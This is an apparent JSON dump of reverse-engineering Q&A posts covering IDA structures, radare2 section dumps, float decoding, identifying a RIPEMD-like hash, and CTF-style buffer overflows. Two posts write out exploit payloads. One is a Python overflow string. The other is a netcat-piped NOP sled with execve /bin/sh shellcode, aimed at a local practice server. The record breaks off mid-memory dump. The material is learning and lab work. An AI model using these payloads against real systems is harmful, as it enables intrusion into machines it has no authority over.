        "Body": "<p>I am studying to analysis malware..</p>\n\n<p>While to analysis a malware using IDA, I want to rename array to API Name.</p>\n\n<p>To Help your understanding, attached image.\n<a href=\"https://i.stack.imgur.com/uIe1g.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/uIe1g.png\" alt=\"enter image description here\"></a></p>\n\n<p>Please help.</p>\n\n<p>Thank you</p>\n",
        "Title": "How can i rename Array to API Name in IDAPro?",
        "Tags": "|ida|ida-plugin|decompiler|",
        "Answer": "<p>You can convert it to structure, this will produce much more readable code. </p>\n\n<p>In order to do this you have to do the following:</p>\n\n<ol>\n<li>Create a structure in structures window, according to the size of array, create there corresponding number of fields (Open window, press <kbd>INS</kbd>, use <kbd>d</kbd> key to add fields).</li>\n<li>Rename structure fields according to API names, and set their type as function pointers with <kbd>Y</kbd> key. For example for <code>GetProcAddress</code> field it will look like <code>_DWORD (__stdcall *pGetProcAddress)(_DWORD, _DWORD);</code> - it is a standard definition of <a href=\"http://www.newty.de/fpt/fpt.html\" rel=\"nofollow noreferrer\">C function pointers</a> with small addition of <code>__stdcall</code> marker of the calling convention.</li>\n<li>Set your a1 variable type to the created structure (In decompiler window locate cursor on your <code>a1</code> variable, press <kbd>Y</kbd> and enter the structure name)</li>\n</ol>\n\n<p>Let me know if you need more detailed walkthrough.</p>\n\n<p>As an alternative for defining structure inside IDA (bullets 1 and 2) you can write a header file with something similar to the following (btw, see the type definitions in the structure):</p>\n\n<pre><code>struct apis\n{\n  void* (__stdcall *pGetProcAddress)(_DWORD, _DWORD);\n  _DWORD (__stdcall *pSetErrorMode)(_DWORD);\n  _DWORD (__stdcall *pGetTempPathA)(_DWORD, _DWORD);\n  _DWORD (__stdcall *pGetTempGileNameA)(_DWORD *, _DWORD *, _DWORD, _DWORD *);\n};\n</code></pre>\n\n<p>and import it into the IDB with <kbd>Ctrl+F9</kbd>. You can find and edit this structure in Local types window (<kbd>Shift+F1</kbd>).</p>\n"
    },
    {
        "Id": "14909",
        "CreationDate": "2017-03-15T08:13:01.063",
        "Body": "<p>I used <code>rabin2 -Sr myfilename</code> to get the size of the <code>.text</code> section of <code>myfilename</code>.  </p>\n\n<p>But, how can I dump the whole hexadecimal section of the <code>.text</code> onto an output file? My purpose is to read the byte code of the <code>.text</code> section of a PE file.</p>\n",
        "Title": "How to display .text section of a PE in radare2?",
        "Tags": "|pe|radare2|",
        "Answer": "<p>In accordance with the <a href=\"https://radare.gitbooks.io/radare2book/content/basic_commands/sections.html\" rel=\"nofollow noreferrer\">manual of radare</a>, I notice that the command <code>S</code> and <code>Sd</code> of radare2 are depreciated. You can have a few issues with using it in some ways such as use it on a elf file. Use <code>iS</code> and <code>iO</code> instead.</p>\n\n<p>If you want to launch the command in rabin2 then simply type:</p>\n\n<pre><code>rabin2 -O d/S/.text hello-world &gt; text.bin\n</code></pre>\n\n<p>Else, if you prefer to the radare2 console, then in the aim to provide an usage example of how to get a whole hexadecimal representation of the <code>.text</code> section, I am going to give an example based on the case given by perror. Let's have a look.</p>\n\n<p>First, use <code>iS</code> instead to list the sections.</p>\n\n<pre><code>$ r2 hello\n-- Wrong argument\n[0x00000580]&gt; iS\n[Sections]\n00 0x00000000     0 0x00000000     0 ---- \n01 0x00000238    28 0x00000238    28 -r-- .interp\n02 0x00000254    32 0x00000254    32 -r-- .note.ABI_tag\n03 0x00000274    36 0x00000274    36 -r-- .note.gnu.build_id\n04 0x00000298    28 0x00000298    28 -r-- .gnu.hash\n05 0x000002b8   192 0x000002b8   192 -r-- .dynsym\n06 0x00000378   150 0x00000378   150 -r-- .dynstr\n07 0x0000040e    16 0x0000040e    16 -r-- .gnu.version\n08 0x00000420    32 0x00000420    32 -r-- .gnu.version_r\n09 0x00000440   216 0x00000440   216 -r-- .rela.dyn\n10 0x00000518    24 0x00000518    24 -r-- .rela.plt\n11 0x00000530    23 0x00000530    23 -r-x .init\n12 0x00000550    32 0x00000550    32 -r-x .plt\n13 0x00000570     8 0x00000570     8 -r-x .plt.got\n14 0x00000580   466 0x00000580   466 -r-x .text\n15 0x00000754     9 0x00000754     9 -r-x .fini\n16 0x00000760    16 0x00000760    16 -r-- .rodata\n17 0x00000770    60 0x00000770    60 -r-- .eh_frame_hdr\n18 0x000007b0   268 0x000007b0   268 -r-- .eh_frame\n19 0x00000dd8     8 0x00200dd8     8 -rw- .init_array\n20 0x00000de0     8 0x00200de0     8 -rw- .fini_array\n21 0x00000de8     8 0x00200de8     8 -rw- .jcr\n22 0x00000df0   480 0x00200df0   480 -rw- .dynamic\n23 0x00000fd0    48 0x00200fd0    48 -rw- .got\n24 0x00001000    32 0x00201000    32 -rw- .got.plt\n25 0x00001020    16 0x00201020    16 -rw- .data\n26 0x00001030     0 0x00201030     8 -rw- .bss\n27 0x00001030    45 0x00000000    45 ---- .comment\n28 0x00001060  1632 0x00000000  1632 ---- .symtab\n29 0x000016c0   565 0x00000000   565 ---- .strtab\n30 0x000018f5   268 0x00000000   268 ---- .shstrtab\n</code></pre>\n\n<p>Second, use <code>iS</code> to check if we are nicely using the current section by printing the current section.</p>\n\n<pre><code>[0x00000580]&gt; iS.\nCurrent section\n00 0x00000580   466 0x00000580   466 -r-x .text\n</code></pre>\n\n<p>Thirdly fill free to do <code>px 0x00000580</code> to display the whole content.</p>\n\n<pre><code>[0x00000580]&gt; px 0x00000580\n- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0x00000580  31ed 4989 d15e 4889 e248 83e4 f050 544c  1.I..^H..H...PTL\n0x00000590  8d05 ba01 0000 488d 0d43 0100 0048 8d3d  ......H..C...H.=\n0x000005a0  0c01 0000 ff15 2e0a 2000 f40f 1f44 0000  ........ ....D..\n0x000005b0  488d 3d79 0a20 0048 8d05 790a 2000 5548  H.=y. .H..y. .UH\n0x000005c0  29f8 4889 e548 83f8 0e76 1548 8b05 fe09  ).H..H...v.H....\n0x000005d0  2000 4885 c074 095d ffe0 660f 1f44 0000   .H..t.]..f..D..\n0x000005e0  5dc3 0f1f 4000 662e 0f1f 8400 0000 0000  ]...@.f.........\n0x000005f0  488d 3d39 0a20 0048 8d35 320a 2000 5548  H.=9. .H.52. .UH\n0x00000600  29fe 4889 e548 c1fe 0348 89f0 48c1 e83f  ).H..H...H..H..?\n0x00000610  4801 c648 d1fe 7418 488b 05d1 0920 0048  H..H..t.H.... .H\n0x00000620  85c0 740c 5dff e066 0f1f 8400 0000 0000  ..t.]..f........\n0x00000630  5dc3 0f1f 4000 662e 0f1f 8400 0000 0000  ]...@.f.........\n0x00000640  803d e909 2000 0075 2748 833d a709 2000  .=.. ..u'H.=.. .\n0x00000650  0055 4889 e574 0c48 8b3d ca09 2000 e80d  .UH..t.H.=.. ...\n0x00000660  ffff ffe8 48ff ffff 5dc6 05c0 0920 0001  ....H...].... ..\n0x00000670  f3c3 0f1f 4000 662e 0f1f 8400 0000 0000  ....@.f.........\n0x00000680  488d 3d61 0720 0048 833f 0075 0be9 5eff  H.=a. .H.?.u..^.\n0x00000690  ffff 660f 1f44 0000 488b 0549 0920 0048  ..f..D..H..I. .H\n0x000006a0  85c0 74e9 5548 89e5 ffd0 5de9 40ff ffff  ..t.UH....].@...\n0x000006b0  5548 89e5 4883 ec10 897d fc48 8975 f048  UH..H....}.H.u.H\n0x000006c0  8d3d 9e00 0000 e895 feff ffb8 0000 0000  .=..............\n0x000006d0  c9c3 662e 0f1f 8400 0000 0000 0f1f 4000  ..f...........@.\n0x000006e0  4157 4156 4189 ff41 5541 544c 8d25 e606  AWAVA..AUATL.%..\n0x000006f0  2000 5548 8d2d e606 2000 5349 89f6 4989   .UH.-.. .SI..I.\n0x00000700  d54c 29e5 4883 ec08 48c1 fd03 e81f feff  .L).H...H.......\n0x00000710  ff48 85ed 7420 31db 0f1f 8400 0000 0000  .H..t 1.........\n0x00000720  4c89 ea4c 89f6 4489 ff41 ff14 dc48 83c3  L..L..D..A...H..\n0x00000730  0148 39dd 75ea 4883 c408 5b5d 415c 415d  .H9.u.H...[]A\\A]\n0x00000740  415e 415f c390 662e 0f1f 8400 0000 0000  A^A_..f.........\n0x00000750  f3c3 0000 4883 ec08 4883 c408 c300 0000  ....H...H.......\n0x00000760  0100 0200 6865 6c6c 6f20 776f 726c 6400  ....hello world.\n0x00000770  011b 033b 3c00 0000 0600 0000 e0fd ffff  ...;&lt;...........\n0x00000780  8800 0000 00fe ffff b000 0000 10fe ffff  ................\n0x00000790  5800 0000 40ff ffff c800 0000 70ff ffff  X...@.......p...\n0x000007a0  e800 0000 e0ff ffff 3001 0000 0000 0000  ........0.......\n0x000007b0  1400 0000 0000 0000 017a 5200 0178 1001  .........zR..x..\n0x000007c0  1b0c 0708 9001 0710 1400 0000 1c00 0000  ................\n0x000007d0  b0fd ffff 2b00 0000 0000 0000 0000 0000  ....+...........\n0x000007e0  1400 0000 0000 0000 017a 5200 0178 1001  .........zR..x..\n0x000007f0  1b0c 0708 9001 0000 2400 0000 1c00 0000  ........$.......\n0x00000800  50fd ffff 2000 0000 000e 1046 0e18 4a0f  P... ......F..J.\n0x00000810  0b77 0880 003f 1a3b 2a33 2422 0000 0000  .w...?.;*3$\"....\n0x00000820  1400 0000 4400 0000 48fd ffff 0800 0000  ....D...H.......\n0x00000830  0000 0000 0000 0000 1c00 0000 5c00 0000  ............\\...\n0x00000840  70fe ffff 2200 0000 0041 0e10 8602 430d  p...\"....A....C.\n0x00000850  065d 0c07 0800 0000 4400 0000 7c00 0000  .]......D...|...\n0x00000860  80fe ffff 6500 0000 0042 0e10 8f02 420e  ....e....B....B.\n0x00000870  188e 0345 0e20 8d04 420e 288c 0548 0e30  ...E. ..B.(..H.0\n0x00000880  8606 480e 3883 074d 0e40 720e 3841 0e30  ..H.8..M.@r.8A.0\n0x00000890  410e 2842 0e20 420e 1842 0e10 420e 0800  A.(B. B..B..B...\n0x000008a0  1400 0000 c400 0000 a8fe ffff 0200 0000  ................\n0x000008b0  0000 0000 0000 0000 0000 0000 ffff ffff  ................\n0x000008c0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x000008d0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x000008e0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x000008f0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000900  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000910  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000920  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000930  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000940  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000950  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000960  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000970  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000980  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000990  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x000009a0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x000009b0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x000009c0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x000009d0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x000009e0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x000009f0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a00  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a10  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a20  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a30  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a40  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a50  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a60  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a70  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a80  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a90  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000aa0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000ab0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000ac0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000ad0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000ae0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000af0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n</code></pre>\n\n<p>And last but not least, do not use <code>Sd text.bin</code></p>\n\n<p>Instead use:</p>\n\n<pre><code>[0x00000580]&gt; iO d/S/.text &gt; text.bin\n</code></pre>\n"
    },
    {
        "Id": "14916",
        "CreationDate": "2017-03-16T08:36:46.550",
        "Body": "<p>I'm facing a dilemma whether to choose RE career or Penetration Tester career. I have a deep interest in both and want to become expert in both of them.But I wonder if it is possible for a human to be able to be expert in multiple fields? Are there people who are very good in RE and in Pentesting? some people told me to stop chasing multiple fields because I wouldn't be able to become expert.\nWhat do you think?</p>\n\n<p>Thanks in advance.</p>\n",
        "Title": "Choose a career path",
        "Tags": "|career-advice|",
        "Answer": "<p>Preamble: I'm working as reverse engineer in the field of malware in an research institute</p>\n\n<p>In my opinion, even though they may be some overlap, these are completely different disciplines and both leave room for further specialization.</p>\n\n<p>For example, most reverses focus on either programs or firmware, while the mobile and bytecode are more exotic disciplines which are often combined with the main discipline.</p>\n\n<p>Of course a good reverser will be capable of reversing both firmware and applications, but will have problems if the focus is shifted in either direction e.g. when a firmware reverser has to reverse highly obfuscated malware.</p>\n\n<p>You can always try to be a jack of all trades, but you won't be able to specialize in each direction. Although both reversing and pentesting may seem manageable at first, you'll notice that they run deep on some topics.</p>\n\n<p><strong>edit:</strong> Nontheless, I'm voting to close this topic because its mainly opinion based. No one can make this decision for you. You could try <a href=\"https://www.reddit.com/r/ReverseEngineering/\" rel=\"nofollow noreferrer\">reddit</a> for other opinions.</p>\n"
    },
    {
        "Id": "14932",
        "CreationDate": "2017-03-17T19:49:01.217",
        "Body": "<p>I am trying to understand how an application I have been using is setting its data in XYZ coordinates which I wish to convert to HEX value. The application essentially shows me the XYZ in one format (float maybe), but I am only able to edit this data in HEX, so I need to understand the translation to make proper edits. </p>\n\n<p>First off lets look at the values displayed in the program</p>\n\n<p><strong>X = 1.085597\nY = 4.703604\nZ = -17.573305</strong></p>\n\n<p>The HEX values for these XYZ values is 12 bytes, which I assume is 4 bytes for X values, 4 for Y, and for for Z. Here is the HEX output:</p>\n\n<p><strong>19 B3 87 44 D6 FC 92 45 9C 4A 89 C6</strong></p>\n\n<p>So what I am wondering is if there is a way to ascertain (from the data I have provided) the formula that the application is using so I can convert the XYZ values to HEX values?</p>\n\n<p>Someone metioned it might be <a href=\"https://en.wikipedia.org/wiki/IEEE_floating_point\" rel=\"nofollow noreferrer\">IEEE 754 standard?</a> but I'm new to hex editing so I'm not sure how to apply this or what it means.</p>\n\n<p>HEX values appear to be in little endian.  </p>\n",
        "Title": "how to translate HEX values into X Y Z",
        "Tags": "|hex|",
        "Answer": "<p>The hex you posted is equivant to the float value * 10^3</p>\n\n<p>That is  1085.597 == 0x4487b319 and so on </p>\n\n<p>Use any online calculator to check in both direction  like</p>\n\n<p><a href=\"https://www.h-schmidt.net/FloatConverter/IEEE754.html\" rel=\"nofollow noreferrer\">https://www.h-schmidt.net/FloatConverter/IEEE754.html</a></p>\n"
    },
    {
        "Id": "14944",
        "CreationDate": "2017-03-19T04:26:45.080",
        "Body": "<p>I am currently practicing for a CTF competition and one of the practice challenges is a buffer overflow exploit. Before this challenge I knew absolutely nothing about these exploits, but I've been reading into them and trying to understand the basics.</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n#include &lt;stdlib.h&gt;\n\nvoid win(void)\n{\n    system(\"cat flag.txt\");\n    return;\n}\n\n\nint main(int argc, char *argv[])\n{\n    printf(\"Give me some data: \\n\");\n    fflush(stdout);\n    char buffer[32];\n    gets(buffer);\n    printf(\"You entered %s\\n\", buffer);\n    fflush(stdout);\n    return 0;\n}\n</code></pre>\n\n<p>So what I know so far is that I need to redirect to the <code>win()</code> function and that there is a buffer of 32 characters. I broke down the program into assembly and found that the <code>win()</code> function's address is <code>0x080484fd</code>. After that, I connected to the program's server and typed 32 characters and the function's address. The program only returned my input, and did not redirect to the <code>win()</code> function. I did some more reading and tried doing it from another shell with the command:</p>\n\n<pre><code>sudo python -c 'print \"a\"*32 + \"\\x08\\x04\\x84\\xfd\"' &gt;&amp; /dev/pts/2\n</code></pre>\n\n<p>Sadly, this did not get me to the <code>win()</code> function. What am I doing wrong? I've hit a total block and not sure what else to try. Any advice and help would be greatly appreciated.</p>\n",
        "Title": "Basic Buffer Overflow Help",
        "Tags": "|c|exploit|buffer-overflow|",
        "Answer": "<p>You're doing well, with a little bit help you can exploit this program. First, let's look at stack layout for Linux (i assume it is Linux because of <strong>sudo</strong> and it is more common than other Unix-like OSes).</p>\n<p><a href=\"https://i.stack.imgur.com/zgw0O.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zgw0O.png\" alt=\"Linux stack layout\" /></a></p>\n<p><strong>old-EIP</strong> is not immediately after our buffer.</p>\n<p>I compiled your program in my 32-bit Linux Mint and as you can see\nGCC throw security warning.</p>\n<p><a href=\"https://i.stack.imgur.com/xEsF6.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xEsF6.jpg\" alt=\"You can see GCC warning\" /></a></p>\n<p>Lets, prepare our exploit.</p>\n<p><a href=\"https://i.stack.imgur.com/8BbSA.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8BbSA.jpg\" alt=\"Segfault\" /></a></p>\n<p>Segmentation fault, most probably EIP tried to execute wrong address. (Maybe because it is a CTF :)</p>\n<p><a href=\"https://i.stack.imgur.com/v1dc6.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/v1dc6.jpg\" alt=\"Exploiting buffer overflow\" /></a>\nProgram crashed again:</p>\n<p><a href=\"https://i.stack.imgur.com/BGCag.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/BGCag.jpg\" alt=\"Crashed\" /></a></p>\n<p>You can see we overwritten old-EBP value before old-EIP. We just need to find function symbol and smack the stack (old-EIP) value with that address.</p>\n<p><a href=\"https://i.stack.imgur.com/SA8tl.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SA8tl.jpg\" alt=\"Exploit in action\" /></a></p>\n<p>I hope it made things little more clear for you.</p>\n<p>Little security warning for you: Do not use <strong>sudo</strong> unless you need it.</p>\n"
    },
    {
        "Id": "14951",
        "CreationDate": "2017-03-18T02:20:50.507",
        "Body": "<p>We have an embedded product, which we are carrying for several hardware iterations since more than 5 years ago. We have all the source code, most of it nicely documented. As the product is actively sold and needs an upgrade, I have been tasked to design next generation improved version.</p>\n\n<p>While we have all the source code, and most of it is well documented, the security part is not, especially its slowest part, a 128-bit hash function with 72 rounds. I can step trough it in our debugger, execute it, and the code works fine except its slowness. If I would know which cryptography standard it is, I could attempt to upgrade it to be executed in hardware, which would drastically speed it up. (The original consultant who wrote this function is not with our company and I cannot find her).</p>\n\n<p>Is there any logical way to find out which encryption are we executing?\nI do not need a help to do my work, I am asking for an advice if there is any strategy how to look at code ('unoptimized mess'); learning the principle of it (like this one has 72 rounds and hashes 128 bits); then finding candidate standards doing the same thing.</p>\n\n<p>I would think that after finding a documented standard, I should be able to hash various numbers by using both our hash and the standard hash, and simply see if the results match?</p>\n\n<p>I looked on the web for information about known functions using 72 rounds, like the <a href=\"https://en.wikipedia.org/wiki/Skein_(hash_function)\" rel=\"nofollow noreferrer\">Skein algorithm</a>, but could not find anything similar.</p>\n\n<p>Are there any known hash values for known standards, for example results of hashing 0? This hash converts 0 to these 16 hexadecimal bytes:</p>\n\n<pre><code>ae c5 40 44 df 2d 91 1c 87 ab 1a ff 59 09 aa b7\n</code></pre>\n\n<p>Function beginning and end is below, as some of you requested, the full function is at: \n<a href=\"http://dropbox.com/sh/fjpxi11i2upby5g/AACClG20VAOsyfFnCG4geF-8a?dl=%E2%80%8C%E2%80%8B0\" rel=\"nofollow noreferrer\">full_function_code</a></p>\n\n<p>It looks like the previous programmer let the old C compiler to convert it, and then used it in 'assembly' style. Maybe it was due to avoid compiler optimizing, just my guess.</p>\n\n<p>There are 72 rounds, each of which ends with a call to function <code>TricoreDextr()</code>; which is the C equivalent of Infineon TriCore DEXTR instruction. Think of DEXTR as splitting a 64-bit number into two parts (at the selected bit location) and swapping them.</p>\n\n<p>Any concept explanations is a great help, thank you!</p>\n\n<pre><code>/*\n * @param in_arr    16 byte long array, input data (128 bits)\n * @param out_arr   16 byte long array, output data (128 bits)\n */\nvoid Hash16bytes(unsigned char *in_arr, unsigned char *out_arr) \n{\n  long d0, d1, d2, d3, d4, d5, d6, d7, d8, d9, d10, d11, d12, d13, d15;\n  long IN[16];\n\n  d4 = 0xB12E8FB5;\n\n  int i;\n  for (i = 0; i &lt; 16; i++)\n  {\n      IN[i] = (long) (*(in_arr + i));\n  }\n\n  d11 = (IN[3] &lt;&lt; 24) | (IN[2] &lt;&lt; 16) | (IN[1] &lt;&lt; 8) | IN[0];\n  d10 = (IN[7] &lt;&lt; 24) | (IN[6] &lt;&lt; 16) | (IN[5] &lt;&lt; 8) | IN[4];\n  d12 = (IN[0xB] &lt;&lt; 24) | (IN[0xA] &lt;&lt; 16) | (IN[9] &lt;&lt; 8) | IN[8];\n  d13 = (IN[0xF] &lt;&lt; 24) | (IN[0xE] &lt;&lt; 16) | (IN[0xD] &lt;&lt; 8) | IN[0xC];\n\n  /* block like this below repeats 72 times... */\n  d3 = 0x7025BD47;\n  d8 = 0xCCEE4EFE;\n  d8 += d13; \n  d8 += d3;\n  d8 = TricoreDextr(d8, 6);\n\n  /* \n     etc., TricoreDextr is called total of 72 times \n   */\n\n  d0 += d15;\n  d0 += 0x5C4E0000;\n  d0 -= 0x2EDC;\n  d0 = TricoreDextr(d0, 5);\n\n  *(out_arr + 3) = (unsigned char) ((d5 &gt;&gt; 24) &amp; 0xFF);\n  *(out_arr + 2) = (unsigned char) ((d5 &gt;&gt; 16) &amp; 0xFF);\n  *(out_arr + 1) = (unsigned char) ((d5 &gt;&gt; 8) &amp; 0xFF);\n  *(out_arr + 0) = (unsigned char) ((d5) &amp; 0xFF);\n\n  *(out_arr + 7) = (unsigned char) ((d6 &gt;&gt; 24) &amp; 0xFF);\n  *(out_arr + 6) = (unsigned char) ((d6 &gt;&gt; 16) &amp; 0xFF);\n  *(out_arr + 5) = (unsigned char) ((d6 &gt;&gt; 8) &amp; 0xFF);\n  *(out_arr + 4) = (unsigned char) ((d6) &amp; 0xFF);\n\n  d8 += d0;\n  d8 += 0x10320000;\n  d8 += 0x5476;\n\n  *(out_arr + 0xB) = (unsigned char) ((d8 &gt;&gt; 24) &amp; 0xFF);\n  *(out_arr + 0xA) = (unsigned char) ((d8 &gt;&gt; 16) &amp; 0xFF);\n  *(out_arr + 9) = (unsigned char) ((d8 &gt;&gt; 8) &amp; 0xFF);\n  *(out_arr + 8) = (unsigned char) ((d8) &amp; 0xFF);\n\n  *(out_arr + 0xF) = (unsigned char) ((d7 &gt;&gt; 24) &amp; 0xFF);\n  *(out_arr + 0xE) = (unsigned char) ((d7 &gt;&gt; 16) &amp; 0xFF);\n  *(out_arr + 0xD) = (unsigned char) ((d7 &gt;&gt; 8) &amp; 0xFF);\n  *(out_arr + 0xC) = (unsigned char) ((d7) &amp; 0xFF);\n}\n</code></pre>\n",
        "Title": "Is there a way to find out which hash standard by studying the source code?",
        "Tags": "|c|static-analysis|encryption|cryptography|hash-functions|",
        "Answer": "<p>This is quite likely either a botched RIPEMD128 or something very similar, as otus also commented.</p>\n\n<p>You wanted to know how to approach such a task so I'll explain what I did.</p>\n\n<p>Typically, when trying to identify crypto-related code you rely on spotting constants. In this case, the constants seem to be obfuscated on purpose, so you need to play around with the numbers, throw it into Google and hope some results come up.</p>\n\n<p>Assuming this might be the RIPE-family (by constant hunting), I sought out to find some code. As the input/output is 128 bits, I downloaded the code for RIPE128 from here:</p>\n\n<p><a href=\"https://homes.esat.kuleuven.be/~bosselae/ripemd160/ps/AB-9601/rmd128.c\" rel=\"noreferrer\">https://homes.esat.kuleuven.be/~bosselae/ripemd160/ps/AB-9601/rmd128.c</a></p>\n\n<p>I then looked over it. I noticed that the operations in <code>compress()</code> seem to use a left rotate (check the header file for the macro definitions), and that odd <code>TricoreDextr()</code> is effectively something similar.</p>\n\n<p>So then I grepped your full code for all <code>TricoreDextr()</code> lines, and compared it to the ops in <code>compress()</code> and some similarities appeared:</p>\n\n<pre><code>GG(aa, bb, cc, dd, X[ 7],  7);\nGG(dd, aa, bb, cc, X[ 4],  6);\nGG(cc, dd, aa, bb, X[13],  8);\nGG(bb, cc, dd, aa, X[ 1], 13);\n</code></pre>\n\n<p>compare to:</p>\n\n<pre><code>d8 = TricoreDextr(d8, 7);\nd6 = TricoreDextr(d6, 6);\nd5 = TricoreDextr(d5, 8);\nd7 = TricoreDextr(d7, 0xD);\n</code></pre>\n\n<p>for example. The <code>TricoreDextr</code> calls don't fully match the ripe128 implementation. I also noticed that only some of the magic numbers used inside these operations appear in your code.</p>\n\n<p>For example</p>\n\n<pre><code>#define GG(a, b, c, d, x, s)        {\\\n  (a) += G((b), (c), (d)) + (x) + 0x5a827999UL;\\\n  (a) = ROL((a), (s));\\\n}\n</code></pre>\n\n<p>does appear: </p>\n\n<pre><code>d5 += 0x5A820000;\nd5 += 0x7999;\n</code></pre>\n\n<p>but others don't, so some operations that <em>should</em> be there if it was RIPE128 are definitely missing.</p>\n\n<p>Reading Wikipedia taught me that before RIPE160 (and RIPE128), there was an original design for a 128 bit RIPEMD hash function but I could not locate any sourcecode from back then.</p>\n\n<p>The only reference to the original 128 bit RIPEMD hash function pointed to</p>\n\n<p><a href=\"https://www.springer.com/in/book/9783540606406\" rel=\"noreferrer\">https://www.springer.com/in/book/9783540606406</a></p>\n\n<p>which should contain the original algorithm I suppose, but it's a book that costs money.</p>\n\n<p>Knowing all that, my best guess would be that this is the original RIPEMD 128 bit hash function obfuscated on purpose seeing as some but not all operations from the modern implementation are there, hinting that they could be an addition from the 2nd version which would explain why they are missing. That or someone used the modern RIPEMD128 implementation and did weird things to it.</p>\n"
    },
    {
        "Id": "14957",
        "CreationDate": "2017-03-20T16:21:58.800",
        "Body": "<p>I have a server (for reference: <a href=\"http://pastebin.com/ghJX69uH\" rel=\"nofollow noreferrer\">pastebin.com/ghJX69uH</a>) that I can <code>netcat</code> to and it will ask to input a message.</p>\n\n<p>I know it is vulnerable to buffer overflow, but I can't seem to get the shellcode to run. I have successfully pointed the return address back to the NOP slide and it hits the <code>/bin/sh</code> but it does not spawn a shell. Here is my code:</p>\n\n<pre><code>echo \"`python -c 'print \"\\x90\"*65517 + \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\"  + \"\\xac\\xf3\\xfe\\xbf\"*10 + \"\\n\"'`\" | nc 127.0.0.1 1111\n</code></pre>\n\n<p>It's a simple buffer overflow with <code>[NOP SLIDE | SHELLCODE (spawn shell /bin/sh) | return address]</code></p>\n\n<p>The first image shows that the return address is <code>0xbffef3ac</code> which goes to NOP sled, so all is OK! The second image shows a SIGSEGV with no shell, nothing happens. </p>\n\n<p><a href=\"https://i.stack.imgur.com/j1d41.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/j1d41.png\" alt=\"enter image description here\"></a>\n<a href=\"https://i.stack.imgur.com/s192d.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/s192d.png\" alt=\"enter image description here\"></a></p>\n\n<p>What's going on here? I had a look at <code>ebp</code> and it showed something weird: my <code>\\x90</code> followed by what should be my shellcode, but looking differently. Any insights on what could be wrong or how to go about this?</p>\n\n<pre><code>0xbffef42c: 0x90909090  0x90909090  0x90909090  0x90909090\n0xbffef43c: 0x90909090  0x90909090  0x90909090  0x90909090\n0xbffef44c: 0x90909090  0x50c03190  0x732f2f68  0x622f6868\n0xbffef45c: 0xe3896e69  0xbffef468  0x00000000  0x6e69622f\n0xbffef46c: 0x68732f2f  0x00000000  0xbffef3ac  0xbffef3ac\n0xbffef47c: 0xbffef3ac  0xbffef3ac  0xbffef3ac  0xbffef3ac\n0xbffef48c: 0xbffef3ac  0x00000000  0x00000000  0x00000000\n0xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000\n</code></pre>\n\n<p>Edit: Format of code is from numberphile, shellcode is from <a href=\"http://shell-storm.org/shellcode/files/shellcode-827.php\" rel=\"nofollow noreferrer\">http://shell-storm.org/shellcode/files/shellcode-827.php</a>, which I ran and spawns a shell. I tried adding padding (I put A's) between shellcode and return address, but something strange happens again:</p>\n\n<pre><code>New code: echo \"`python -c 'print \"\\x90\"*65490 + \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\"  + \"A\"*27 + \"\\xac\\xf4\\xfe\\xbf\" + \"\\n\"'`\" | nc 127.0.0.1 1129\n\n\n0xbffef42c: 0x90909090  0x90909090  0x90909090  0xc0319090\n0xbffef43c: 0x2f2f6850  0x2f686873  0x896e6962  